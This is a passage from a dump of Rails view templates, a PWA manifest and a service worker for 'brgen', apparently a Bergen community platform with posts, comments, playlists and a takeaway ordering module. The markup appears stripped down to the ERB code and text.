&lt;% if authenticated? &amp;&amp; (Current.user == @set.user || @set.collaborations.exists?(user: Current.user, role: %w[owner editor])) %&gt;\n    \n\n      &lt;%= form_with url: playlist_set_dilla_sketches_path(@set), scope: :playlist_dilla_sketch do |f| %&gt;\n        \n&lt;%= f.text_field :name, placeholder: \"Beat name (e.g. dusty flip)\", required: true %&gt;\n        \n&lt;%= f.text_area :state, placeholder: 'Paste JSON state from lab (e.g. {\"pat_\":{...},\"aud_\":{...},\"mix_\":{...}} or full from clipboard)', rows: 3 %&gt;\n        \n&lt;%= f.text_area :notes, placeholder: \"notes / instructions (optional)\", rows: 2 %&gt;\n        \n&lt;%= f.submit \"Save sketch for collab\", class: \"btn btn-primary btn-sm\" %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n&lt;% end %&gt;\n\n&lt;% if @set_tracks.any? %&gt;\n  &lt;% @set_tracks.each do |set_track| %&gt;\n    \n\n      \n\n        &lt;%= set_track.track.title %&gt;\n        &lt;% if set_track.track.artist.present? %&gt; \u2014 &lt;%= set_track.track.artist %&gt;&lt;% end %&gt;\n         \u00b7 &lt;%= set_track.track.duration_formatted %&gt;\n      \n      &lt;% if authenticated? &amp;&amp; (Current.user == set_track.user || Current.user == @set.user || @set.collaborations.exists?(user: Current.user, role: %w[owner editor])) %&gt;\n        &lt;%= button_to \"Remove\", playlist_set_track_path(@set, set_track), method: :delete, class: \"btn btn-ghost btn-sm\" %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \n\nNo tracks in this set yet.\n&lt;% end %&gt;\n\n&lt;% if authenticated? &amp;&amp; (Current.user == @set.user || @set.collaborations.exists?(user: Current.user, role: %w[owner editor])) %&gt;\n  \n\n    \nAdd a track\n    \n\n      &lt;%= form_with url: playlist_set_tracks_path(@set), scope: :playlist_track do |form| %&gt;\n        \n&lt;%= form.text_field :title, placeholder: \"Title\", required: true %&gt;\n        \n&lt;%= form.text_field :artist, placeholder: \"Artist\" %&gt;\n        \n&lt;%= form.url_field :source_url, placeholder: \"URL (optional)\" %&gt;\n        \n&lt;%= form.submit \"Add\", class: \"btn btn-primary btn-sm\" %&gt;\n      &lt;% end %&gt;\n    \n  \n&lt;% end %&gt;\n\n&lt;% if authenticated? %&gt;\n\n\n  \nListening party\n  \nStart or join a real-time synced listening session with embedded player and chat.\n  &lt;%= button_to \"Start party\", \"#\", class: \"btn btn-primary btn-sm\", disabled: true %&gt;\n   (full cable sync + party model TODO in follow-up)\n\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/posts/_post.html.erb`\n```erb\n&lt;%= turbo_frame_tag dom_id(post) do %&gt;\n\n\n  \n\n  \n\n    \n\n      &lt;%= post.author_name %&gt;\n      &lt;% if post.community %&gt;\n        @&lt;%= post.community.slug %&gt;\n      &lt;% end %&gt;\n      \u00b7 &lt;%= time_ago_in_words(post.created_at) %&gt;\n    \n    \n&lt;%= link_to post.title, post %&gt;\n    &lt;% if post.image.attached? %&gt;\n      &lt;%= link_to post do %&gt;&lt;%= image_tag post.image, alt: post.title, loading: \"lazy\", class: \"post-image\" %&gt;&lt;% end %&gt;\n    &lt;% end %&gt;\n    \n\n      \ud83d\udcac &lt;%= post.comment_count %&gt;\n      \ud83d\udd01\n      \u2764\ufe0f &lt;%= post.score %&gt;\n      \ud83d\udcca\n      \u2197\n    \n  \n\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/posts/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit post\" %&gt;\n\n\n\nEdit post\n\n\n\n  &lt;%= form_with model: @post do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @post %&gt;\n    \n\n      &lt;%= f.label :community_id, \"Community (optional)\" %&gt;\n      &lt;%= f.collection_select :community_id, Community.order(:name), :id, :name, { include_blank: \"\u2014 no community \u2014\" } %&gt;\n    \n    \n\n      &lt;%= f.label :title %&gt;\n      &lt;%= f.text_field :title, placeholder: \"Title\", autofocus: true %&gt;\n    \n    \n\n      &lt;%= f.label :content, \"Body (optional)\" %&gt;\n      &lt;%= f.text_area :content, placeholder: \"Text (optional)\", rows: 5 %&gt;\n    \n    \n\n      &lt;%= f.file_field :image,\n            accept: \"image/*\",\n            capture: \"environment\",\n            class: \"media-input-hidden\",\n            data: { media_picker_target: \"input\", action: \"change-&gt;media-picker#pick\" } %&gt;\n      \n\n        Photo / Camera\n      \n      \n\n      \n\n        &lt;% %w[none portrait landscape street blockbuster].each do |preset| %&gt;\n          \n            &lt;%= f.radio_button :preset, preset %&gt;\n            &lt;%= preset.capitalize %&gt;\n          \n        &lt;% end %&gt;\n      \n    \n    \n\n      &lt;%= f.check_box :anonymous %&gt;\n      &lt;%= f.label :anonymous, \"Post anonymously\" %&gt;\n    \n    \n\n      &lt;%= f.submit \"Save\", class: \"btn btn-primary\" %&gt;\n      &lt;%= link_to \"Cancel\", @post, class: \"btn btn-ghost\" %&gt;\n    \n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/posts/index.html.erb`\n```erb\n&lt;%= turbo_stream_from \"posts\" %&gt;\n\n\n\n  \nAll posts\n  &lt;% if authenticated? %&gt;&lt;%= link_to \"+ New post\", new_post_path %&gt;&lt;% end %&gt;\n\n\n\n\n  &lt;%= link_to \"hot\",   posts_path,                class: (\"active\" unless params[:sort]) %&gt;\n  &lt;%= link_to \"fresh\", posts_path(sort: \"fresh\"), class: (\"active\" if params[:sort] == \"fresh\") %&gt;\n  &lt;%= link_to \"top\",   posts_path(sort: \"top\"),   class: (\"active\" if params[:sort] == \"top\") %&gt;\n\n\n&lt;% if @posts.any? %&gt;\n  &lt;% @posts.each do |post| %&gt;\n    &lt;%= render \"posts/post\", post: post %&gt;\n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \nNo posts yet.\n&lt;% end %&gt;\n\n\n\n  \nCommunities\n  \n\n    &lt;% Community.popular.limit(8).each do |c| %&gt;\n      \n&lt;%= link_to c.name, community_path(c) %&gt;\n    &lt;% end %&gt;\n  \n\n```\n\n## `rails/brgen/app/views/posts/new.html.erb`\n```erb\n&lt;% content_for :title, \"New post\" %&gt;\n\n\n\nNew post\n\n\n\n  &lt;%= form_with model: [@community, @post].compact do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @post %&gt;\n    \n\n      &lt;%= f.label :community_id, \"Community (optional)\" %&gt;\n      &lt;%= f.collection_select :community_id, Community.order(:name), :id, :name, { include_blank: \"\u2014 no community \u2014\" } %&gt;\n    \n    \n\n      &lt;%= f.label :title %&gt;\n      &lt;%= f.text_field :title, placeholder: \"Title\", autofocus: true %&gt;\n    \n    \n\n      &lt;%= f.label :content, \"Body (optional)\" %&gt;\n      &lt;%= f.text_area :content, placeholder: \"Text (optional)\", rows: 5 %&gt;\n    \n    \n\n      &lt;%= f.file_field :image,\n            accept: \"image/*\",\n            capture: \"environment\",\n            class: \"media-input-hidden\",\n            data: { media_picker_target: \"input\", action: \"change-&gt;media-picker#pick\" } %&gt;\n      \n\n        \n          \n          Photo / Camera\n        \n      \n      \n\n      \n\n        &lt;% %w[none portrait landscape street blockbuster].each do |p| %&gt;\n          \n            &lt;%= f.radio_button :preset, p %&gt;\n            &lt;%= p.capitalize %&gt;\n          \n        &lt;% end %&gt;\n      \n    \n    &lt;% if authenticated? %&gt;\n      \n\n        &lt;%= f.check_box :anonymous %&gt;\n        &lt;%= f.label :anonymous, \"Post anonymously\" %&gt;\n      \n    &lt;% else %&gt;\n      \nPosting as anon \u00b7 &lt;%= link_to \"sign in\", new_session_path %&gt; to use your name\n    &lt;% end %&gt;\n    \n\n      &lt;%= f.submit \"Post\", class: \"btn btn-primary\" %&gt;\n      &lt;%= link_to \"Cancel\", posts_path, class: \"btn btn-ghost\" %&gt;\n    \n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/posts/show.html.erb`\n```erb\n&lt;% content_for :title, @post.title %&gt;\n&lt;%= turbo_stream_from @post %&gt;\n\n\n\n  &lt;% if authenticated? %&gt;\n    &lt;%= button_to \"\u25b2\", post_vote_path(@post), params: { vote: { value: 1 } },\n          class: (\"active-up\" if @post.upvoted_by?(Current.user)) %&gt;\n  &lt;% else %&gt;\n    \u25b2\n  &lt;% end %&gt;\n  &lt;%= @post.score %&gt;\n  &lt;% if authenticated? %&gt;\n    &lt;%= button_to \"\u25bc\", post_vote_path(@post), params: { vote: { value: -1 } },\n          class: (\"active-down\" if @post.downvoted_by?(Current.user)) %&gt;\n  &lt;% else %&gt;\n    \u25bc\n  &lt;% end %&gt;\n\n  \n\n    &lt;% if @post.community %&gt;\n      &lt;%= link_to @post.community.name, community_path(@post.community) %&gt; \u00b7\n    &lt;% end %&gt;\n    posted by &lt;%= @post.author_name %&gt; \u00b7\n    &lt;%= time_ago_in_words(@post.created_at) %&gt; ago\n  \n  \n&lt;%= @post.title %&gt;\n  &lt;% if @post.image.attached? %&gt;\n    \n\n      \n        &lt;%= image_tag @post.image, class: \"post-image\" %&gt;\n      \n    \n  &lt;% end %&gt;\n  &lt;% if @post.content.present? %&gt;\n    \n&lt;%= @post.content %&gt;\n  &lt;% end %&gt;\n  \n\n    Share\n  \n\n\n\n\n  \nComment as &lt;%= Current.user&amp;.guest? ? \"anon\" : (Current.user&amp;.username || \"anon\") %&gt;&lt;% unless authenticated? %&gt; \u00b7 &lt;%= link_to \"sign in\", new_session_path %&gt;&lt;% end %&gt;\n  &lt;%= form_with model: [@post, @new_comment], data: { turbo: true } do |f| %&gt;\n    \n\n      &lt;%= f.text_area :content, placeholder: \"What do you think?\", rows: 4,\n            data: { controller: \"textarea-autogrow character-counter\", \"character-counter-max-value\": 10000 } %&gt;\n      \n    \n    \n&lt;%= f.submit \"Comment\", class: \"btn btn-primary btn-sm\" %&gt;\n  &lt;% end %&gt;\n\n  \n\n    &lt;% if @comments.any? %&gt;\n      &lt;% @comments.each do |comment| %&gt;\n        &lt;%= render \"comments/comment\", comment: comment %&gt;\n      &lt;% end %&gt;\n    &lt;% else %&gt;\n      \nNo comments yet. Be first.\n    &lt;% end %&gt;\n  \n\n\n\n\n  \nAbout\n  &lt;% if @post.community %&gt;\n    \n&lt;%= @post.community.description.presence || @post.community.name %&gt;\n    &lt;%= link_to \"View community\", community_path(@post.community) %&gt;\n  &lt;% else %&gt;\n    \nbrgen \u2014 Bergen community platform\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/pwa/manifest.json.erb`\n```erb\n{\n  \"name\": \"Brgen\",\n  \"short_name\": \"Brgen\",\n  \"icons\": [\n    {\n      \"src\": \"/icon-192.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"192x192\"\n    },\n    {\n      \"src\": \"/icon.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\"\n    },\n    {\n      \"src\": \"/icon.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\",\n      \"purpose\": \"maskable\"\n    }\n  ],\n  \"start_url\": \"/\",\n  \"display\": \"standalone\",\n  \"scope\": \"/\",\n  \"description\": \"City communities across Scandinavia and Europe. Connect, post, and discover your city.\",\n  \"theme_color\": \"#000000\",\n  \"background_color\": \"#000000\"\n}\n```\n\n## `rails/brgen/app/views/pwa/service-worker.js`\n```javascript\nconst CACHE = \"brgen-v2\"\n\nself.addEventListener(\"install\", e =&gt; {\n  e.waitUntil(caches.open(CACHE).then(c =&gt; c.addAll([\"/\"])))\n  self.skipWaiting()\n})\n\nself.addEventListener(\"activate\", e =&gt; {\n  e.waitUntil(caches.keys().then(keys =&gt;\n    Promise.all(keys.filter(k =&gt; k !== CACHE).map(k =&gt; caches.delete(k)))\n  ))\n  self.clients.claim()\n})\n\nself.addEventListener(\"fetch\", e =&gt; {\n  if (e.request.method !== \"GET\") return\n  const url = new URL(e.request.url)\n  const isNav = e.request.mode === \"navigate\"\n  const isAsset = /\\.(js|css|png|jpg|jpeg|webp|svg|woff2?|ico)$/.test(url.pathname)\n  if (isAsset) {\n    e.respondWith(caches.match(e.request).then(cached =&gt; cached || fetch(e.request).then(res =&gt; {\n      const clone = res.clone()\n      caches.open(CACHE).then(c =&gt; c.put(e.request, clone))\n      return res\n    })))\n    return\n  } else if (isNav) {\n    e.respondWith(fetch(e.request).catch(() =&gt; caches.match(\"/offline\")))\n    return\n  }\n  e.respondWith(caches.match(e.request).then(cached =&gt; cached || fetch(e.request)))\n})\n\nself.addEventListener(\"push\", e =&gt; {\n  const data = e.data?.json() ?? {}\n  const title = data.title || \"Brgen\"\n  e.waitUntil(\n    self.registration.showNotification(title, {\n      body:  data.body  || \"\",\n      icon:  \"/icon.png\",\n      badge: \"/icon.png\",\n      data:  { url: data.url || \"/\" },\n      vibrate: [80, 40, 80]\n    }).then(() =&gt; self.registration.getNotifications())\n      .then(notes =&gt; navigator.setAppBadge?.(notes.length))\n  )\n})\n\nself.addEventListener(\"notificationclick\", e =&gt; {\n  e.notification.close()\n  e.waitUntil(\n    self.registration.getNotifications().then(notes =&gt; navigator.setAppBadge?.(notes.length)).then(() =&gt;\n      clients.matchAll({ type: \"window\", includeUncontrolled: true }).then(wins =&gt; {\n        const url = e.notification.data?.url || \"/\"\n        const match = wins.find(w =&gt; w.url.includes(url))\n        return match ? match.focus() : clients.openWindow(url)\n      })\n    )\n  )\n})\n```\n\n## `rails/brgen/app/views/reactions/create.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.replace \"reactions_#{dom_id(@target)}\" do %&gt;\n  &lt;%= render \"shared/reaction_bar\", target: @target, kind: @kind, active: @active %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/reports/create.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.replace \"report_#{dom_id(@target)}\" do %&gt;\n  Reported\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/sessions/new.html.erb`\n```erb\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n&lt;% if flash[:notice] %&gt;\n&lt;%= flash[:notice] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: session_path do |form| %&gt;\n  \n&lt;%= form.email_field :email_address, required: true, autofocus: true, autocomplete: \"username\", placeholder: \"Enter your email address\", value: params[:email_address] %&gt;\n  \n&lt;%= form.password_field :password, required: true, autocomplete: \"current-password\", placeholder: \"Enter your password\", maxlength: 72 %&gt;\n  \n&lt;%= form.submit \"Sign in\" %&gt;\n&lt;% end %&gt;\n\n\n&lt;%= link_to \"Forgot password?\", new_password_path %&gt;\n```\n\n## `rails/brgen/app/views/shared/_affiliate_deals.html.erb`\n```erb\n&lt;% deals = Tradedoubler.deals(category: local_assigns[:category], limit: 6) %&gt;\n&lt;% if deals.any? %&gt;\n  \n\n    \nDeals\n    &lt;% deals.each do |d| %&gt;\n      \n        &lt;% if d.image_url.present? %&gt;\n          \" loading=\"lazy\"&gt;\n        &lt;% end %&gt;\n        \n\n          \n&lt;%= d.title %&gt;\n          \n&lt;%= d.merchant %&gt;\n          &lt;% if d.price.present? %&gt;\n            \n&lt;%= d.currency %&gt; &lt;%= d.price %&gt;\n          &lt;% end %&gt;\n        \n      \n    &lt;% end %&gt;\n    \nAffiliate links \u00b7 we may earn a commission\n  \n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/shared/_email_subscribe.html.erb`\n```erb\n\n\n  \nCity updates\n  \nNews and deals from your city, once a week.\n  &lt;%= form_with url: email_subscriptions_path, method: :post do |f| %&gt;\n    \n\n      &lt;%= f.email_field :email, name: \"email_subscription[email]\",\n            placeholder: \"your@email.com\", required: true,\n            style: \"width:100%;padding:8px 10px;border-radius:6px;border:1px solid var(--border);background:var(--surface);color:inherit;font-size:14px\" %&gt;\n    \n    \n      \n      I agree to receive deals and partner offers (optional, unsubscribe any time)\n    \n    &lt;%= f.submit \"Subscribe\", class: \"btn btn-primary btn-sm\", style: \"width:100%\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/shared/_follow_button.html.erb`\n```erb\n\n  &lt;% if current_user == user %&gt;\n  &lt;% elsif active %&gt;\n    &lt;%= button_to \"Unfollow\", user_follow_path(user_id: user), method: :delete,\n        data: { turbo_stream: true }, aria: { label: \"Unfollow #{user.display_name}\" } %&gt;\n  &lt;% else %&gt;\n    &lt;%= button_to \"Follow\", user_follows_path(user_id: user), method: :post,\n        data: { turbo_stream: true }, aria: { label: \"Follow #{user.display_name}\" } %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/shared/_media_gallery.html.erb`\n```erb\n&lt;% attachments = local_assigns.fetch(:attachments, []) %&gt;\n&lt;% title = local_assigns.fetch(:title, \"Gallery\") %&gt;\n\n&lt;% if attachments.any? %&gt;\n  \n\n    \n\n      &lt;% attachments.each do |attachment| %&gt;\n        &lt;%= link_to url_for(attachment), class: \"media-gallery__item\" do %&gt;\n          &lt;%= image_tag attachment, alt: title, loading: \"lazy\" %&gt;\n        &lt;% end %&gt;\n      &lt;% end %&gt;\n    \n  \n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/shared/_reaction_bar.html.erb`\n```erb\n\n  &lt;% Reaction::KINDS.each do |k| %&gt;\n    &lt;%= button_to reactions_path,\n        params: { target_gid: target.to_signed_global_id.to_s, kind: k },\n        data: { turbo_stream: true },\n        class: (defined?(active) &amp;&amp; active &amp;&amp; k == kind ? \"active\" : nil),\n        aria: { label: \"#{k.capitalize} #{target.class.name.downcase}\" } do %&gt;\n      &lt;%= k %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/shared/_report_button.html.erb`\n```erb\n\n  &lt;%= button_to \"Report\", reports_path,\n      params: { target_gid: target.to_signed_global_id.to_s, reason: reason || \"other\" },\n      data: { turbo_stream: true },\n      aria: { label: \"Report #{target.class.name.downcase}\" } %&gt;\n\n```\n\n## `rails/brgen/app/views/shared/_vote.html.erb`\n```erb\n\n\n  \u25b2\n  &lt;%= votable.score %&gt;\n  \u25bc\n\n```\n\n## `rails/brgen/app/views/takeaway/delivery_drivers/index.html.erb`\n```erb\n&lt;% content_for :title, \"Delivery drivers\" %&gt;\n\n\n\n  \n\n    \nTakeaway operations\n    \nDelivery drivers\n  \n\n\n&lt;% if @delivery_drivers.any? %&gt;\n  &lt;% @delivery_drivers.each do |driver| %&gt;\n    \n\n      \n&lt;%= link_to driver.user.display_name.presence || driver.user.email_address.split(\"@\").first, takeaway_delivery_driver_path(driver) %&gt;\n      \n&lt;%= driver.vehicle_type.presence&amp;.humanize || \"Vehicle not set\" %&gt; \u00b7 &lt;%= driver.available? ? \"Available\" : \"Unavailable\" %&gt;\n      &lt;% if driver.location? %&gt;\n        \n&lt;%= driver.current_lat %&gt;, &lt;%= driver.current_lng %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \n\nNo available drivers.\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/takeaway/delivery_drivers/show.html.erb`\n```erb\n&lt;% content_for :title, \"Delivery driver\" %&gt;\n\n\n\n  \n\n    \nTakeaway operations\n    \n&lt;%= @delivery_driver.user.display_name.presence || @delivery_driver.user.email_address.split(\"@\").first %&gt;\n  \n  &lt;%= link_to \"All drivers\", takeaway_delivery_drivers_path, class: \"btn btn-ghost btn-sm\" %&gt;\n\n\n\n\n  \n&lt;%= @delivery_driver.vehicle_type.presence&amp;.humanize || \"Vehicle not set\" %&gt; \u00b7 &lt;%= @delivery_driver.available? ? \"Available\" : \"Unavailable\" %&gt;\n  &lt;% if @delivery_driver.location? %&gt;\n    \n&lt;%= @delivery_driver.current_lat %&gt;, &lt;%= @delivery_driver.current_lng %&gt;\n  &lt;% end %&gt;\n\n\n&lt;% if authenticated? &amp;&amp; Current.user == @delivery_driver.user %&gt;\n  &lt;%= form_with model: @delivery_driver, url: takeaway_delivery_driver_path(@delivery_driver), scope: :delivery_driver, method: :patch do |form| %&gt;\n    \n\n      &lt;%= form.label :vehicle_type %&gt;\n      &lt;%= form.select :vehicle_type, Takeaway::DeliveryDriver::VEHICLE_TYPES.map { |type| [type.humanize, type] }, include_blank: true %&gt;\n    \n    \n\n      &lt;%= form.label :available %&gt;\n      &lt;%= form.check_box :available %&gt;\n    \n    \n&lt;%= form.text_field :license_number, placeholder: \"License number\" %&gt;\n    \n&lt;%= form.text_field :current_lat, placeholder: \"Latitude\" %&gt;\n    \n&lt;%= form.text_field :current_lng, placeholder: \"Longitude\" %&gt;\n    &lt;%= form.submit \"Update\", class: \"btn btn-primary btn-sm\" %&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/takeaway/orders/index.html.erb`\n```erb\n&lt;% content_for :title, \"My Orders\" %&gt;\n\n\n\nMy Orders\n\n&lt;% @orders.each do |o| %&gt;\n  \n\n    \n&lt;%= link_to o.restaurant.name, takeaway_order_path(o) %&gt;\n    \n&lt;%= o.status.humanize %&gt; \u00b7 &lt;%= o.total_display %&gt; \u00b7 &lt;%= o.created_at.strftime(\"%d %b %Y\") %&gt;\n  \n&lt;% end %&gt;\n&lt;%= pagy_nav(@pagy) if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/brgen/app/views/takeaway/orders/new.html.erb`\n```erb\n&lt;% content_for :title, \"Order from #{@restaurant.name}\" %&gt;\n\n\n\n  \n\n    \n&lt;%= @restaurant.cuisine_type %&gt; \u00b7 &lt;%= @restaurant.city %&gt;\n    \nOrder from &lt;%= @restaurant.name %&gt;\n    \n&lt;%= @restaurant.address %&gt;\n  \n\n\n\n\n  \n&lt;%= @restaurant.description %&gt;\n  \n\n    Minimum &lt;%= number_to_currency(@restaurant.min_order_cents.to_i / 100.0, unit: \"kr \") %&gt;\n    Delivery &lt;%= number_to_currency(@restaurant.delivery_fee_cents.to_i / 100.0, unit: \"kr \") %&gt;\n    &lt;%= @menu_items.size %&gt; available items\n  \n\n\n&lt;%= form_with model: @order, url: takeaway_restaurant_orders_path(@restaurant) do |form| %&gt;\n  &lt;%= render \"shared/errors\", object: @order %&gt;\n\n  \n\n    \nMenu\n    &lt;% if @menu_items.any? %&gt;\n      &lt;% @menu_items.each do |item| %&gt;\n        \n\n          \n\n            \n&lt;%= item.name %&gt;\n            &lt;% if item.description.present? %&gt;\n              \n&lt;%= item.description %&gt;\n            &lt;% end %&gt;\n            \n\n              &lt;%= number_to_currency(item.price_cents.to_i / 100.0, unit: \"kr \") %&gt;\n              &lt;% if item.vegetarian? %&gt; \u00b7 vegetarian&lt;% end %&gt;\n              &lt;% if item.vegan? %&gt; \u00b7 vegan&lt;% end %&gt;\n            \n          \n          \n\n            &lt;%= label_tag \"takeaway_order_items_#{item.id}\", \"Qty\" %&gt;\n            &lt;%= number_field_tag \"takeaway_order[items][#{item.id}]\", 0, min: 0, id: \"takeaway_order_items_#{item.id}\", style: \"width:72px\" %&gt;\n          \n        \n      &lt;% end %&gt;\n    &lt;% else %&gt;\n      \nNo menu items are currently available.\n    &lt;% end %&gt;\n  \n\n  \n\n    \nDelivery\n    \n\n      &lt;%= form.label :delivery_address %&gt;\n      &lt;%= form.text_field :delivery_address, required: true, autocomplete: \"street-address\" %&gt;\n    \n    \n\n      &lt;%= form.label :special_instructions %&gt;\n      &lt;%= form.text_area :special_instructions, rows: 3, placeholder: \"Door code, allergies, delivery notes\u2026\" %&gt;\n    \n  \n\n  \n\n    \nPayment\n    \nPayment is arranged directly with the restaurant for now.\n  \n\n  &lt;%= form.submit \"Place order\", class: \"btn btn-primary\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/takeaway/orders/show.html.erb`\n```erb\n&lt;% content_for :title, \"Order ##{@order.id}\" %&gt;\n\n\n\n  \n\n    \n&lt;%= link_to @order.restaurant.name, takeaway_restaurant_path(@order.restaurant) %&gt;\n    \nOrder #&lt;%= @order.id %&gt;\n  \n  &lt;%= @order.status.humanize %&gt;\n\n\n\n\n  \nStatus timeline\n  \n\n    &lt;% Takeaway::Order::STATUSES.each do |status| %&gt;\n      &lt;%= status.humanize %&gt;&lt;%= \" \u2713\" if @order.status == status %&gt;\n    &lt;% end %&gt;\n  \n  \nDelivery to: &lt;%= @order.delivery_address %&gt;\n  &lt;% if @order.special_instructions.present? %&gt;\n    \nInstructions: &lt;%= @order.special_instructions %&gt;\n  &lt;% end %&gt;\n\n\n\n\n  \nItems\n  &lt;% @order.order_items.each do |order_item| %&gt;\n    \n\n      &lt;%= order_item.menu_item.name %&gt; \u00d7 &lt;%= order_item.quantity %&gt;\n      &lt;%= order_item.subtotal_display %&gt;\n    \n  &lt;% end %&gt;\n\n\n\n\n  \nSubtotal: &lt;%= @order.subtotal_display %&gt;\n  \nDelivery: &lt;%= @order.delivery_fee_display %&gt;\n  Total: &lt;%= @order.total_display %&gt;\n\n\n\n\n  &lt;%= link_to \"Reorder\", takeaway_restaurant_path(@order.restaurant), class: \"btn\" %&gt;\n  &lt;%= link_to \"All orders\", takeaway_orders_path, class: \"btn btn-ghost\" %&gt;\n  &lt;% if authenticated? &amp;&amp; @order.restaurant.owner?(Current.user) &amp;&amp; @order.advanceable? %&gt;\n    &lt;%= button_to \"Advance\", takeaway_order_path(@order), method: :patch, class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/takeaway/restaurants/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit restaurant\" %&gt;\n\n\n\nEdit restaurant\n\n\n\n  &lt;%= form_with model: @restaurant, url: takeaway_restaurant_path(@restaurant), method: :patch do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @restaurant %&gt;\n    \n&lt;%= f.label :name %&gt;&lt;%= f.text_field :name %&gt;\n    \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 3 %&gt;\n    \n&lt;%= f.label :address %&gt;&lt;%= f.text_field :address %&gt;\n    \n&lt;%= f.label :city %&gt;&lt;%= f.text_field :city %&gt;\n    \n&lt;%= f.label :phone %&gt;&lt;%= f.text_field :phone %&gt;\n    \n&lt;%= f.label :cuisine_type %&gt;&lt;%= f.select :cuisine_type, Takeaway::Restaurant::CUISINE_TYPES, { include_blank: \"\u2014\" } %&gt;\n    \n&lt;%= f.label :delivery_fee_cents, \"Delivery fee (\u00f8re)\" %&gt;&lt;%= f.number_field :delivery_fee_cents %&gt;\n    \n&lt;%= f.label :min_order_cents, \"Min order (\u00f8re)\" %&gt;&lt;%= f.number_field :min_order_cents %&gt;\n    \n&lt;%= f.check_box :active %&gt;&lt;%= f.label :active, \"Active\" %&gt;\n    \n&lt;%= f.submit \"Save\", class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/takeaway/restaurants/index.html.erb`\n```erb\n&lt;% content_for :title, \"Takeaway\" %&gt;\n\n&lt;% unless authenticated? %&gt;\n  &lt;% content_for :splash do %&gt;\n    \n\n      \nBrgen Takeaway\n      \nOrder food from local restaurants. City-native delivery, neighbourhood by neighbourhood.\n      \n\n        browse restaurants\n        filter by cuisine\n        track order\n      \n      \ntap anywhere to browse\n    \n  &lt;% end %&gt;\n&lt;% end %&gt;\n\n\n\n  \nOrder food\n  &lt;%= link_to \"Add restaurant\", new_takeaway_restaurant_path, class: \"btn\" if authenticated? %&gt;\n\n\n&lt;%= form_with url: takeaway_restaurants_path, method: :get, local: true do |f| %&gt;\n  \n\n    &lt;%= f.text_field :q, value: params[:q], placeholder: \"Search restaurants\u2026\", style: \"flex:1\" %&gt;\n    &lt;%= f.select :cuisine, [[\"All cuisines\", \"\"]] + Takeaway::Restaurant::CUISINE_TYPES.map { |c| [c, c] }, {selected: params[:cuisine]}, {} %&gt;\n    &lt;%= f.submit \"Search\", class: \"btn\" %&gt;\n  \n&lt;% end %&gt;\n\n\n\n  &lt;% @restaurants.each do |r| %&gt;\n    \n\n      \n&lt;%= link_to r.name, takeaway_restaurant_path(r) %&gt;\n      \n&lt;%= r.cuisine_type %&gt; \u00b7 &lt;%= r.city %&gt; \u00b7 \u2605 &lt;%= r.rating || \"\u2014\" %&gt;\n      \nMin order: &lt;%= r.min_order_cents.to_i / 100.0 %&gt; NOK \u00b7 Delivery: &lt;%= r.delivery_fee_cents.to_i / 100.0 %&gt; NOK\n    \n  &lt;% end %&gt;\n  &lt;% if @restaurants.empty? %&gt;\n    \n\nNo restaurants yet. &lt;%= link_to(\"Add one\", new_takeaway_restaurant_path) if authenticated? %&gt;\n  &lt;% end %&gt;\n\n&lt;%= @pagy.series_nav if @pagy&amp;.pages.to_i &gt; 1 %&gt;\n```\n\n## `rails/brgen/app/views/takeaway/restaurants/new.html.erb`\n```erb\n&lt;% content_for :title, \"Add restaurant\" %&gt;\n\n\n\nAdd restaurant\n\n\n\n  &lt;%= form_with model: @restaurant, url: takeaway_restaurants_path do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @restaurant %&gt;\n    \n&lt;%= f.label :name %&gt;&lt;%= f.text_field :name %&gt;\n    \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 3 %&gt;\n    \n&lt;%= f.label :address %&gt;&lt;%= f.text_field :address %&gt;\n    \n&lt;%= f.label :city %&gt;&lt;%= f.text_field :city %&gt;\n    \n&lt;%= f.label :phone %&gt;&lt;%= f.text_field :phone %&gt;\n    \n&lt;%= f.label :cuisine_type %&gt;&lt;%= f.select :cuisine_type, Takeaway::Restaurant::CUISINE_TYPES, { include_blank: \"\u2014\" } %&gt;\n    \n&lt;%= f.label :delivery_fee_cents, \"Delivery fee (\u00f8re)\" %&gt;&lt;%= f.number_field :delivery_fee_cents %&gt;\n    \n&lt;%= f.label :min_order_cents, \"Min order 